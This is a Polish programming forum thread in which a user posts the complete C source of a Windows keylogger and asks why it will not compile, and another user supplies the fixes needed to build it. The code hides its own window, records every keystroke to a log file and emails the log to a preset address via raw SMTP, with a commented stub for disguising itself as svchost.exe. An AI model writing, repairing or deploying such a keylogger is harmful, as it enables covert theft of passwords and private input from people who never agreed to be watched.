Źródło > i błędy podczas komplikacji >.<

David2003

Użytkownik
Dołączył
Czerwiec 20, 2006
Posty
13
dla przykladu takie cos :
Kod:
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */



#include <windows.h>

#include <stdio.h>

#include <winuser.h>

#include <windowsx.h>

int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage);

#define BUFSIZE 800

#define waittime 100

/*If you don't know the mail exchange server for an address for the following

"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for

whatever email address you want. YOU MUST CHANGE  THESE SETTINGS OR

IT WILL NOT WORK!!! */

#define cmailserver "nslookup -querytype=mx gawab.com"

#define cemailto "[email protected]"

#define cemailfrom "[email protected]"





#define cemailsubject "The Log Dude"

#define LogLength 500

#define FileName "keylog.log"

#define SMTPLog "SMTP.log"

#define cemailsubject "The Log Dude"



int test_key(void);

int main(void)

{

   //Uncomment the lines below to put the keylogger in stealh mode.

   HWND stealth; /*creating stealth (window is not visible)*/

   AllocConsole();

   stealth=FindWindowA("ConsoleWindowClass",NULL);

   ShowWindow(stealth,0);

  

   /* if (test==2)

    {//the path in which the file needs to be

    char *path="c:%windir%svchost.exe";

    create=create_key(path);          

    } */

  

   int t=get_keys();    

   return t;

}  



int get_keys(void)

{

int freadindex;

char *buf;

long len;

FILE *file;

file=fopen(FileName,"a+");



           short character;

             while(1)

             {

                    sleep(10);/*to prevent 100% cpu usage*/

                    for(character=8;character<=222;character++)

                    {

                        if(GetAsyncKeyState(character)==-32767)

                        {  

                            FILE *file;

                            file=fopen(FileName,"a+");

                            if(file==NULL)

                            {

                                    return 1;

                            }            

                            if(file!=NULL)

                            {        

                                    if((character>=39)&&(character<=64))

                                    {

                                          fputc(character,file);

                                          fclose(file);

                                          break;

                                    }        

                                    else if((character>64)&&(character<91))

                                    {

                                          character+=32;

                                          fputc(character,file);

                                          fclose(file);

                                          break;

                                    }

                                    else

                                    {

                                        switch(character)

                                        {

                                              case VK_SPACE:

                                              fputc(' ',file);

                                              fclose(file);

                                              break;    

                                              case VK_SHIFT:

                                              fputs("rn[SHIFT]rn",file);

                                              fclose(file);

                                              break;                                            

                                              case VK_RETURN:

                                              fputs("rn[ENTER]rn",file);

                                              fclose(file);

                                              break;

                                              case VK_BACK:

                                              fputs("rn[BACKSPACE]rn",file);

                                              fclose(file);

                                              break;

                                              case VK_TAB:

                                              fputs("rn[TAB]rn",file);

                                              fclose(file);

                                              break;

                                              case VK_CONTROL:

                                              fputs("rn[CTRL]rn",file);

                                              fclose(file);

                                              break;    

                                              case VK_DELETE:

                                              fputs("rn[DEL]rn",file);

                                              fclose(file);

                                              break;

                                              case VK_OEM_1:

                                              fputs("rn[;:]rn",file);

                                              fclose(file);

                                              break;

                                              case VK_OEM_2:

                                              fputs("rn[/?]rn",file);

                                              fclose(file);

                                              break;

                                              case VK_OEM_3:

                                              fputs("rn[`~]rn",file);

                                              fclose(file);

                                              break;

                                              case VK_OEM_4:

                                              fputs("rn[ [{ ]rn",file);

                                              fclose(file);

                                              break;

                                              case VK_OEM_5:

                                              fputs("rn[|]rn",file);

                                              fclose(file);

                                              break;                                

                                              case VK_OEM_6:

                                              fputs("rn[ ]} ]rn",file);

                                              fclose(file);

                                              break;

                                              case VK_OEM_7:

                                              fputs("rn['"]rn",file);

                                              fclose(file);

                                              break;

                                              case 187:

                                              fputc('+',file);

                                              fclose(file);

                                              break;

                                              case 188:

                                              fputc(',',file);

                                              fclose(file);

                                              break;

                                              case 189:

                                              fputc('-',file);

                                              fclose(file);

                                              break;

                                              case 190:

                                              fputc('.',file);

                                              fclose(file);

                                              break;

                                              case VK_NUMPAD0:

                                              fputc('0',file);

                                              fclose(file);

                                              break;

                                              case VK_NUMPAD1:

                                              fputc('1',file);

                                              fclose(file);

                                              break;

                                              case VK_NUMPAD2:

                                              fputc('2',file);

                                              fclose(file);

                                              break;

                                              case VK_NUMPAD3:

                                              fputc('3',file);

                                              fclose(file);

                                              break;

                                              case VK_NUMPAD4:

                                              fputc('4',file);

                                              fclose(file);

                                              break;

                                              case VK_NUMPAD5:

                                              fputc('5',file);

                                              fclose(file);

                                              break;

                                              case VK_NUMPAD6:

                                              fputc('6',file);

                                              fclose(file);

                                              break;

                                              case VK_NUMPAD7:

                                              fputc('7',file);

                                              fclose(file);

                                              break;

                                              case VK_NUMPAD8:

                                              fputc('8',file);

                                              fclose(file);

                                              break;

                                              case VK_NUMPAD9:

                                              fputc('9',file);

                                              fclose(file);

                                              break;

                                              case VK_CAPITAL:

                                              fputs("rn[CAPS LOCK]rn",file);

                                              fclose(file);

                                              break;

                                              default:

                                              fclose(file);

                                              break;

                                       }        

                                  }    

                             }        

                   }    

               }                  

           FILE *file;

           file=fopen(FileName,"rb");

           fseek(file,0,SEEK_END); //go to end

           len=ftell(file); //get position at end (length)

           if(len>=LogLength) {

             fseek(file,0,SEEK_SET);//go to beg.

             buf=(char *)malloc(len);//malloc buffer

             freadindex=fread(buf,1,len,file);//read into buffer

             buf[freadindex] = '0';//Extra bit I have to add to make it a sting

             MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);

             fclose(file);

             file=fopen(FileName,"w");                        

             }

          

            fclose(file);

            //free (buf);

                

           }

           return EXIT_SUCCESS;                            

}



int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage) {

    SOCKET sockfd;

    WSADATA wsaData;

    FILE *smtpfile;

    

    #define bufsize 300

    int bytes_sent;   /* Sock FD */

    int err;

    struct hostent *host;   /* info from gethostbyname */

    struct sockaddr_in dest_addr;   /* Host Address */

    char line[1000];

    char *Rec_Buf = (char*) malloc(bufsize+1);

    smtpfile=fopen(SMTPLog,"a+");

    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {

      fputs("WSAStartup failed",smtpfile);

      WSACleanup();

      return -1;

    }

    if ( (host=gethostbyname(mailserver)) == NULL) {

       perror("gethostbyname");

       exit(1);

    }

    memset(&dest_addr,0,sizeof(dest_addr));

    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);



     /* Prepare dest_addr */

     dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */

     dest_addr.sin_port= htons(25); /* PORT defined above */



     /* Get socket */



     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {

        perror("socket");

        exit(1);

        }

     /* Connect !*/

     fputs("Connecting....n",smtpfile);



    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){

        perror("connect");

        exit(1);

        }

     sleep(waittime);

     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '0';

     fputs(Rec_Buf,smtpfile);

     strcpy(line,"helo me.somepalace.comn");

     fputs(line,smtpfile);

     bytes_sent=send(sockfd,line,strlen(line),0);

     sleep(waittime);

     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '0';

     fputs(Rec_Buf,smtpfile);

     strcpy(line,"MAIL FROM:<");

     strncat(line,emailfrom,strlen(emailfrom));

     strncat(line,">n",3);

     fputs(line,smtpfile);

     bytes_sent=send(sockfd,line,strlen(line),0);

     sleep(waittime);

     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '0';

     fputs(Rec_Buf,smtpfile);

     strcpy(line,"RCPT TO:<");

     strncat(line,emailto,strlen(emailto));

     strncat(line,">n",3);

     fputs(line,smtpfile);

     bytes_sent=send(sockfd,line,strlen(line),0);

     sleep(waittime);

     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '0';

     fputs(Rec_Buf,smtpfile);

     strcpy(line,"DATAn");

     fputs(line,smtpfile);

     bytes_sent=send(sockfd,line,strlen(line),0);

     sleep(waittime);

     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '0';

     fputs(Rec_Buf,smtpfile);

     sleep(waittime);

     strcpy(line,"To:");

     strcat(line,emailto);

     strcat(line,"n");

     strcat(line,"From:");

     strcat(line,emailfrom);

     strcat(line,"n");

     strcat(line,"Subject:");

     strcat(line,emailsubject);

     strcat(line,"n");

     strcat(line,emailmessage);

     strcat(line,"rn.rn");

     fputs(line,smtpfile);

     bytes_sent=send(sockfd,line,strlen(line),0);

     sleep(waittime);

     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '0';

     fputs(Rec_Buf,smtpfile);

     strcpy(line,"quitn");

     fputs(line,smtpfile);

     bytes_sent=send(sockfd,line,strlen(line),0);

     sleep(waittime);

     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '0';

     fputs(Rec_Buf,smtpfile);

     fclose(smtpfile);

     #ifdef WIN32

     closesocket(sockfd);

     WSACleanup();

     #else

     close(sockfd);

     #endif

}
co tu nie tak ? :| biblioteki mam itp.. a mimo tego przy komplikacji wyskakuje mi 13 błędow.. komlikuje Devem-c++...
błedy typu :
39 c:docume~1dompulpitk.cpp
implicit declaration of function `int get_keys(...)'
54 c:docume~1dompulpitk.cpp
implicit declaration of function `int sleep(...)'
112 c:docume~1dompulpitk.cpp
`VK_OEM_1' undeclared (first use this function)
112 c:docume~1dompulpitk.cpp
(Each undeclared identifier is reported only once
112 c:docume~1dompulpitk.cpp
for each function it appears in.)
116 c:docume~1dompulpitk.cpp
`VK_OEM_2' undeclared (first use this function)
120 c:docume~1dompulpitk.cpp
`VK_OEM_3' undeclared (first use this function)
124 c:docume~1dompulpitk.cpp
`VK_OEM_4' undeclared (first use this function)
128 c:docume~1dompulpitk.cpp
`VK_OEM_5' undeclared (first use this function)
132 c:docume~1dompulpitk.cpp
`VK_OEM_6' undeclared (first use this function)
136 c:docume~1dompulpitk.cpp
`VK_OEM_7' undeclared (first use this function)
214 c:docume~1dompulpitk.cpp
implicit declaration of function `int malloc(...)'
226 c:docume~1dompulpitk.cpp
`EXIT_SUCCESS' undeclared (first use this function)[/b]
wszystkie te błędy... ;|
Prosze o pomoc...
 

M1ch00

Użytkownik
Dołączył
Sierpień 22, 2006
Posty
609
Coś skopałeś. Po dopisaniu deklaracji get_keys, zamianie sleep na Sleep(np. przez define) i dodaniu -lwsock32 w opcjach linkowania się kompiluje. (dev-cpp 5 beta)
 

David2003

Użytkownik
Dołączył
Czerwiec 20, 2006
Posty
13
ale mam (chyba) zdeklarowane to :
int get_keys(void)[/b]
...
ok sciagam ta 5 bete do przetestowania i na niej sproboje to co napisales =]
Dobra... dodalem do opcji linkera tamto i odrazu mniej bledow ;P tym razem 6 ... związane zapewne z deklaracją.. pomoz ja gzdie wstaic i jaka ? ;>
 

M1ch00

Użytkownik
Dołączył
Sierpień 22, 2006
Posty
609
Deklaracja != definicja.

int get_keys(void);
To jest deklaracja.

int get_keys(void){return 0xdead;}
A to definicja.
Deklaracje zazwyczaj umieszczamy na początku programu, po to one są.
 
Do góry Bottom